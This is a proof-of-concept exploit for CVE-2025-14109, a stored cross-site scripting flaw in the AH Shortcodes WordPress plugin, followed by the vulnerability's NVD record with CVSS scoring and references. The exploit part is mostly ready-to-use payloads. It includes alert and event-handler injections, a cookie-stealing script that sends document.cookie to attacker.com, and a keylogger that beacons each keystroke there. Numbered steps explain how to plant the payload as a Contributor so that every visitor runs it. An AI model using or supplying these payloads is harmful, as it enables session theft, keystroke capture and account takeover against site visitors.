CVE-2025-14109

<!-- CVE-2025-14109 PoC: AH Shortcodes Stored XSS --> <!-- Requires Contributor-level access or higher in WordPress --> <!-- Basic XSS payload --> [column]<script>alert('XSS')</script>[/column] <!-- Event handler based XSS --> [column]<img src=x onerror=alert(document.domain)>[/column] <!-- Cookie stealing payload --> [column]<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>[/column] <!-- Keylogger payload --> [column]<script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script>[/column] <!-- SVG based XSS --> [column]<svg/onload=alert(document.cookie)>[/column] <!-- Usage in WordPress editor --> <!-- 1. Log in as Contributor or higher role --> <!-- 2. Create/edit a post or page --> <!-- 3. Add the shortcode with payload in text editor --> <!-- 4. Publish/update the content --> <!-- 5. Any user viewing the page will execute the script -->

{"cve": {"id": "CVE-2025-14109", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:52.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AH Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'column' shortcode attribute in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin AH Shortcodes para WordPress es vulnerable a cross-site scripting almacenado a través del atributo del shortcode 'column' en todas las versiones hasta la 1.0.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ah-shortcodes/tags/1.0.2/includes/shortcodes.php#L28", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ah-shortcodes/trunk/includes/shortcodes.php#L28", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b77243f-f48b-4a94-9d60-bf96dc26fe77?source=cve", "source": "[email protected]"}]}}